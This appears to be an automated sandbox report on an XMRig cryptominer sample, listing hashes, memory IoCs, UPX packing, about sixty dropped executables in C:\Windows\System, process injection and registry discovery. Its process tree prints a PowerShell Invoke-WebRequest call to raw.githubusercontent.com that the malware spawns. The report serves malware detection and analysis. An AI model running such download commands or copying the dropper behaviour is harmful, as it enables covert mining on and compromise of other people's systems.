xmrig | d4d0d8fda04caf14ebe6b49585d22829f9817a966cede62c05ab3017d6da07c5

Analysis

max time kernel
151s
max time network
157s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
25/05/2024, 22:29

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
Size

1.3MB
MD5

2b20251b5c20781a935fb77a2c9d5260
SHA1

cd31685c73eaa776e6417f6359546c4bcfeb5f83
SHA256

d4d0d8fda04caf14ebe6b49585d22829f9817a966cede62c05ab3017d6da07c5
SHA512

686c5344738e9c05d099e9d6c16d7655325cc273edfb6567468a8991bd5f0acb06fa1fc1f569dce191b804f69e60a0e0d59dea0ff11ef73ceeb9705282f40968
SSDEEP

24576:zv3/fTLF671TilQFG4P5PMkUCCWvLEvjhnXwx8/2Pbx/mbGRZcFuG7B33:Lz071uv4BPMkHC0IlnASEx/R2uWt

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 45 IoCs

miner

resource	yara_rule
behavioral2/memory/672-20-0x00007FF7E9A20000-0x00007FF7E9E12000-memory.dmp	xmrig
behavioral2/memory/3884-27-0x00007FF765720000-0x00007FF765B12000-memory.dmp	xmrig
behavioral2/memory/740-94-0x00007FF76CB60000-0x00007FF76CF52000-memory.dmp	xmrig
behavioral2/memory/1292-96-0x00007FF7FD8E0000-0x00007FF7FDCD2000-memory.dmp	xmrig
behavioral2/memory/380-125-0x00007FF720450000-0x00007FF720842000-memory.dmp	xmrig
behavioral2/memory/1728-135-0x00007FF7F5D60000-0x00007FF7F6152000-memory.dmp	xmrig
behavioral2/memory/2988-181-0x00007FF7D2E50000-0x00007FF7D3242000-memory.dmp	xmrig
behavioral2/memory/3856-171-0x00007FF713170000-0x00007FF713562000-memory.dmp	xmrig
behavioral2/memory/4428-167-0x00007FF75E910000-0x00007FF75ED02000-memory.dmp	xmrig
behavioral2/memory/1264-161-0x00007FF6ECC40000-0x00007FF6ED032000-memory.dmp	xmrig
behavioral2/memory/4204-155-0x00007FF6814D0000-0x00007FF6818C2000-memory.dmp	xmrig
behavioral2/memory/4964-146-0x00007FF780670000-0x00007FF780A62000-memory.dmp	xmrig
behavioral2/memory/1520-140-0x00007FF7072C0000-0x00007FF7076B2000-memory.dmp	xmrig
behavioral2/memory/3276-139-0x00007FF69D430000-0x00007FF69D822000-memory.dmp	xmrig
behavioral2/memory/4564-137-0x00007FF6FB4C0000-0x00007FF6FB8B2000-memory.dmp	xmrig
behavioral2/memory/1144-130-0x00007FF6646D0000-0x00007FF664AC2000-memory.dmp	xmrig
behavioral2/memory/1792-122-0x00007FF636760000-0x00007FF636B52000-memory.dmp	xmrig
behavioral2/memory/3516-118-0x00007FF7AE830000-0x00007FF7AEC22000-memory.dmp	xmrig
behavioral2/memory/1692-106-0x00007FF73AC40000-0x00007FF73B032000-memory.dmp	xmrig
behavioral2/memory/4708-103-0x00007FF68C630000-0x00007FF68CA22000-memory.dmp	xmrig
behavioral2/memory/3424-99-0x00007FF7720A0000-0x00007FF772492000-memory.dmp	xmrig
behavioral2/memory/4676-95-0x00007FF792690000-0x00007FF792A82000-memory.dmp	xmrig
behavioral2/memory/856-91-0x00007FF7A4A40000-0x00007FF7A4E32000-memory.dmp	xmrig
behavioral2/memory/1484-86-0x00007FF66CFA0000-0x00007FF66D392000-memory.dmp	xmrig
behavioral2/memory/4348-81-0x00007FF7BD140000-0x00007FF7BD532000-memory.dmp	xmrig
behavioral2/memory/672-2145-0x00007FF7E9A20000-0x00007FF7E9E12000-memory.dmp	xmrig
behavioral2/memory/4348-2165-0x00007FF7BD140000-0x00007FF7BD532000-memory.dmp	xmrig
behavioral2/memory/3884-2180-0x00007FF765720000-0x00007FF765B12000-memory.dmp	xmrig
behavioral2/memory/4708-2182-0x00007FF68C630000-0x00007FF68CA22000-memory.dmp	xmrig
behavioral2/memory/1292-2179-0x00007FF7FD8E0000-0x00007FF7FDCD2000-memory.dmp	xmrig
behavioral2/memory/380-2189-0x00007FF720450000-0x00007FF720842000-memory.dmp	xmrig
behavioral2/memory/1144-2191-0x00007FF6646D0000-0x00007FF664AC2000-memory.dmp	xmrig
behavioral2/memory/4564-2257-0x00007FF6FB4C0000-0x00007FF6FB8B2000-memory.dmp	xmrig
behavioral2/memory/1520-2265-0x00007FF7072C0000-0x00007FF7076B2000-memory.dmp	xmrig
behavioral2/memory/3516-2774-0x00007FF7AE830000-0x00007FF7AEC22000-memory.dmp	xmrig
behavioral2/memory/4428-2333-0x00007FF75E910000-0x00007FF75ED02000-memory.dmp	xmrig
behavioral2/memory/2988-2325-0x00007FF7D2E50000-0x00007FF7D3242000-memory.dmp	xmrig
behavioral2/memory/3856-2324-0x00007FF713170000-0x00007FF713562000-memory.dmp	xmrig
behavioral2/memory/1728-2188-0x00007FF7F5D60000-0x00007FF7F6152000-memory.dmp	xmrig
behavioral2/memory/1692-2176-0x00007FF73AC40000-0x00007FF73B032000-memory.dmp	xmrig
behavioral2/memory/856-2163-0x00007FF7A4A40000-0x00007FF7A4E32000-memory.dmp	xmrig
behavioral2/memory/1792-2162-0x00007FF636760000-0x00007FF636B52000-memory.dmp	xmrig
behavioral2/memory/1484-2161-0x00007FF66CFA0000-0x00007FF66D392000-memory.dmp	xmrig
behavioral2/memory/740-2178-0x00007FF76CB60000-0x00007FF76CF52000-memory.dmp	xmrig
behavioral2/memory/4676-2160-0x00007FF792690000-0x00007FF792A82000-memory.dmp	xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	5084	powershell.exe
9	5084	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
5084	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
4204	bBZbQud.exe
1264	YUCmxeI.exe
672	qcNllxm.exe
3884	FwjuZYt.exe
1692	BVvyKvj.exe
4348	oPdOdJf.exe
1484	aiYDWXa.exe
856	awkKcTo.exe
740	HGFbJhU.exe
4676	GrXJgso.exe
1292	mWdLfYw.exe
3424	WNGzggb.exe
4708	eQPiPAg.exe
3516	gLSEpnD.exe
1792	aSjWcHe.exe
380	aVHGSvo.exe
1728	hNgBopx.exe
1144	xNjjaWl.exe
4564	JnFTotU.exe
3276	hpbCsAy.exe
1520	nKaIMdt.exe
4428	eeDbnPW.exe
3856	Wqpperj.exe
2988	aTqzkeI.exe
112	xLJxHvG.exe
3080	lbGUhnT.exe
3824	DCRXtTt.exe
1184	VOLIuOY.exe
1920	fZpMsPG.exe
4392	anhGaNL.exe
456	nZwoPks.exe
2112	JdVEJtI.exe
892	nIUIuRa.exe
2592	VHcwUZN.exe
1568	RqZhTjy.exe
4800	CuUCmpX.exe
532	IijKInm.exe
5056	XatorzI.exe
720	qlBCVhV.exe
1460	DPxoPfT.exe
5040	iwMkydV.exe
4988	iHfogUs.exe
768	LrdkaQW.exe
1444	eIKCwUN.exe
4332	vcETAKQ.exe
4388	tThWQQM.exe
2396	zkevQAk.exe
1100	jjmCrxv.exe
1960	DrpfDKK.exe
2556	zJhtNlD.exe
3972	mmqYHXS.exe
4140	tisnjQJ.exe
2152	vOIZZCd.exe
5124	OoZgmPH.exe
5152	tTiLcZa.exe
5180	UzslrFE.exe
5216	QltPjim.exe
5268	AlMsEjP.exe
5288	cIbYzPr.exe
5324	eBlbOsg.exe
5348	RqWdRRH.exe
5392	VhHbOeJ.exe
5408	SWSAcHJ.exe
5428	WCfxJAf.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4964-0-0x00007FF780670000-0x00007FF780A62000-memory.dmp	upx
behavioral2/files/0x000800000002326c-8.dat	upx
behavioral2/memory/4204-11-0x00007FF6814D0000-0x00007FF6818C2000-memory.dmp	upx
behavioral2/files/0x000800000002326f-12.dat	upx
behavioral2/memory/1264-13-0x00007FF6ECC40000-0x00007FF6ED032000-memory.dmp	upx
behavioral2/files/0x0008000000023273-7.dat	upx
behavioral2/memory/672-20-0x00007FF7E9A20000-0x00007FF7E9E12000-memory.dmp	upx
behavioral2/files/0x0008000000023274-24.dat	upx
behavioral2/memory/3884-27-0x00007FF765720000-0x00007FF765B12000-memory.dmp	upx
behavioral2/files/0x0008000000023271-29.dat	upx
behavioral2/files/0x0007000000023275-36.dat	upx
behavioral2/files/0x0007000000023276-38.dat	upx
behavioral2/files/0x0007000000023277-45.dat	upx
behavioral2/files/0x0007000000023279-56.dat	upx
behavioral2/files/0x000700000002327a-79.dat	upx
behavioral2/files/0x000700000002327c-87.dat	upx
behavioral2/memory/740-94-0x00007FF76CB60000-0x00007FF76CF52000-memory.dmp	upx
behavioral2/memory/1292-96-0x00007FF7FD8E0000-0x00007FF7FDCD2000-memory.dmp	upx
behavioral2/files/0x0008000000023280-102.dat	upx
behavioral2/files/0x0007000000023282-119.dat	upx
behavioral2/memory/380-125-0x00007FF720450000-0x00007FF720842000-memory.dmp	upx
behavioral2/files/0x0007000000023285-131.dat	upx
behavioral2/memory/1728-135-0x00007FF7F5D60000-0x00007FF7F6152000-memory.dmp	upx
behavioral2/files/0x0007000000023286-143.dat	upx
behavioral2/files/0x0007000000023287-147.dat	upx
behavioral2/files/0x000700000002328a-164.dat	upx
behavioral2/memory/2988-181-0x00007FF7D2E50000-0x00007FF7D3242000-memory.dmp	upx
behavioral2/files/0x000700000002328d-187.dat	upx
behavioral2/files/0x0007000000023290-196.dat	upx
behavioral2/files/0x0007000000023291-202.dat	upx
behavioral2/files/0x000700000002328f-200.dat	upx
behavioral2/files/0x000700000002328e-195.dat	upx
behavioral2/files/0x000700000002328c-183.dat	upx
behavioral2/files/0x000700000002328b-179.dat	upx
behavioral2/memory/3856-171-0x00007FF713170000-0x00007FF713562000-memory.dmp	upx
behavioral2/files/0x0007000000023289-168.dat	upx
behavioral2/memory/4428-167-0x00007FF75E910000-0x00007FF75ED02000-memory.dmp	upx
behavioral2/files/0x0007000000023288-162.dat	upx
behavioral2/memory/1264-161-0x00007FF6ECC40000-0x00007FF6ED032000-memory.dmp	upx
behavioral2/memory/4204-155-0x00007FF6814D0000-0x00007FF6818C2000-memory.dmp	upx
behavioral2/memory/4964-146-0x00007FF780670000-0x00007FF780A62000-memory.dmp	upx
behavioral2/memory/1520-140-0x00007FF7072C0000-0x00007FF7076B2000-memory.dmp	upx
behavioral2/memory/3276-139-0x00007FF69D430000-0x00007FF69D822000-memory.dmp	upx
behavioral2/memory/4564-137-0x00007FF6FB4C0000-0x00007FF6FB8B2000-memory.dmp	upx
behavioral2/files/0x0007000000023284-133.dat	upx
behavioral2/memory/1144-130-0x00007FF6646D0000-0x00007FF664AC2000-memory.dmp	upx
behavioral2/files/0x0007000000023283-129.dat	upx
behavioral2/memory/1792-122-0x00007FF636760000-0x00007FF636B52000-memory.dmp	upx
behavioral2/memory/3516-118-0x00007FF7AE830000-0x00007FF7AEC22000-memory.dmp	upx
behavioral2/files/0x000800000002327f-114.dat	upx
behavioral2/memory/1692-106-0x00007FF73AC40000-0x00007FF73B032000-memory.dmp	upx
behavioral2/memory/4708-103-0x00007FF68C630000-0x00007FF68CA22000-memory.dmp	upx
behavioral2/files/0x0007000000023281-100.dat	upx
behavioral2/memory/3424-99-0x00007FF7720A0000-0x00007FF772492000-memory.dmp	upx
behavioral2/memory/4676-95-0x00007FF792690000-0x00007FF792A82000-memory.dmp	upx
behavioral2/files/0x000700000002327e-92.dat	upx
behavioral2/memory/856-91-0x00007FF7A4A40000-0x00007FF7A4E32000-memory.dmp	upx
behavioral2/memory/1484-86-0x00007FF66CFA0000-0x00007FF66D392000-memory.dmp	upx
behavioral2/files/0x000700000002327d-83.dat	upx
behavioral2/memory/4348-81-0x00007FF7BD140000-0x00007FF7BD532000-memory.dmp	upx
behavioral2/files/0x0007000000023278-53.dat	upx
behavioral2/memory/672-2145-0x00007FF7E9A20000-0x00007FF7E9E12000-memory.dmp	upx
behavioral2/memory/4348-2165-0x00007FF7BD140000-0x00007FF7BD532000-memory.dmp	upx
behavioral2/memory/3884-2180-0x00007FF765720000-0x00007FF765B12000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
6	raw.githubusercontent.com
7	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\fTbryDZ.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\EmFNsDa.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\RozCXhp.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\HViJetn.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\szHXboP.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\NxfqYji.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\PSpEmMA.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\DdhjZsM.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\EnLajXg.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\LDXDxMv.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\SkCAEnf.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\GDkjmhB.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\lSnqReE.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\HwmGvWV.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\BxGRTcl.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\DTMjCqp.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\UzslrFE.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\hfiaChW.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\cZKHxnN.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\Zpfrjep.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\TbNXABo.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\dZJSOln.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\EZaHsrX.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\xeZAHKU.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\IuVqvYq.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\gVFbQgH.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\EdpHXez.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\fzczwun.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\wWAqZBe.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\mZXyLxq.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\DdsrSAp.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\niOmJQY.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\YUuNvnR.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\jUvivnu.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\WNGzggb.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\LrdkaQW.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\KBKcHNh.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\bhWTgDo.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\hAcexrK.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\jNErSxm.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\MtDAZbT.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\ncUpiru.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\OBUZRaW.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\kmYoJOl.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\kJMIvBl.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\gVFECzO.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\aXvDmgB.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\eMWSDwX.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\JZWlXTF.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\lcmMHCu.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\Wqpperj.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\SuKqVEK.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\UFvpmLV.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\Ivtfgro.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\wVLZZmb.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\pbEQGCK.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\FZQmHWV.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\bmmRBSd.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\jlwKHTO.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\yLSqgWG.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\jNJOnzO.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\wSzNWkr.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\BAlhsoB.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
File created	C:\Windows\System\QBLSbWH.exe	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wermgr.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	wermgr.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	wermgr.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5084	powershell.exe
5084	powershell.exe
5084	powershell.exe
5084	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
Token: SeLockMemoryPrivilege	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
Token: SeDebugPrivilege	5084	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4964 wrote to memory of 5084	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	90
PID 4964 wrote to memory of 5084	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	90
PID 4964 wrote to memory of 4204	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	91
PID 4964 wrote to memory of 4204	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	91
PID 4964 wrote to memory of 1264	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	92
PID 4964 wrote to memory of 1264	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	92
PID 4964 wrote to memory of 672	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	93
PID 4964 wrote to memory of 672	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	93
PID 4964 wrote to memory of 3884	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	94
PID 4964 wrote to memory of 3884	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	94
PID 4964 wrote to memory of 1692	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	95
PID 4964 wrote to memory of 1692	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	95
PID 4964 wrote to memory of 4348	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	96
PID 4964 wrote to memory of 4348	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	96
PID 4964 wrote to memory of 1484	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	97
PID 4964 wrote to memory of 1484	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	97
PID 4964 wrote to memory of 856	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	98
PID 4964 wrote to memory of 856	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	98
PID 4964 wrote to memory of 740	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	99
PID 4964 wrote to memory of 740	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	99
PID 4964 wrote to memory of 4676	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	100
PID 4964 wrote to memory of 4676	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	100
PID 4964 wrote to memory of 1292	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	101
PID 4964 wrote to memory of 1292	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	101
PID 4964 wrote to memory of 3424	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	102
PID 4964 wrote to memory of 3424	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	102
PID 4964 wrote to memory of 4708	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	103
PID 4964 wrote to memory of 4708	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	103
PID 4964 wrote to memory of 3516	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	104
PID 4964 wrote to memory of 3516	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	104
PID 4964 wrote to memory of 1792	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	105
PID 4964 wrote to memory of 1792	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	105
PID 4964 wrote to memory of 380	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	106
PID 4964 wrote to memory of 380	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	106
PID 4964 wrote to memory of 1728	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	107
PID 4964 wrote to memory of 1728	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	107
PID 4964 wrote to memory of 1144	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	108
PID 4964 wrote to memory of 1144	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	108
PID 4964 wrote to memory of 4564	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	109
PID 4964 wrote to memory of 4564	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	109
PID 4964 wrote to memory of 3276	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	110
PID 4964 wrote to memory of 3276	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	110
PID 4964 wrote to memory of 1520	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	111
PID 4964 wrote to memory of 1520	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	111
PID 4964 wrote to memory of 4428	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	112
PID 4964 wrote to memory of 4428	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	112
PID 4964 wrote to memory of 3856	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	113
PID 4964 wrote to memory of 3856	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	113
PID 4964 wrote to memory of 2988	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	114
PID 4964 wrote to memory of 2988	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	114
PID 4964 wrote to memory of 112	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	115
PID 4964 wrote to memory of 112	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	115
PID 4964 wrote to memory of 3080	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	116
PID 4964 wrote to memory of 3080	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	116
PID 4964 wrote to memory of 3824	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	117
PID 4964 wrote to memory of 3824	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	117
PID 4964 wrote to memory of 1184	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	118
PID 4964 wrote to memory of 1184	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	118
PID 4964 wrote to memory of 1920	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	119
PID 4964 wrote to memory of 1920	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	119
PID 4964 wrote to memory of 4392	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	120
PID 4964 wrote to memory of 4392	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	120
PID 4964 wrote to memory of 456	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	121
PID 4964 wrote to memory of 456	4964	2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe	121

C:\Users\Admin\AppData\Local\Temp\2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\2b20251b5c20781a935fb77a2c9d5260_NeikiAnalytics.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5084
- - C:\Windows\system32\wermgr.exe
    "C:\Windows\system32\wermgr.exe" "-outproc" "0" "5084" "2952" "2880" "2956" "0" "0" "2960" "0" "0" "0" "0" "0"
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    PID:8988
- C:\Windows\System\bBZbQud.exe
  C:\Windows\System\bBZbQud.exe
  2⤵
  - Executes dropped EXE
  PID:4204
- C:\Windows\System\YUCmxeI.exe
  C:\Windows\System\YUCmxeI.exe
  2⤵
  - Executes dropped EXE
  PID:1264
- C:\Windows\System\qcNllxm.exe
  C:\Windows\System\qcNllxm.exe
  2⤵
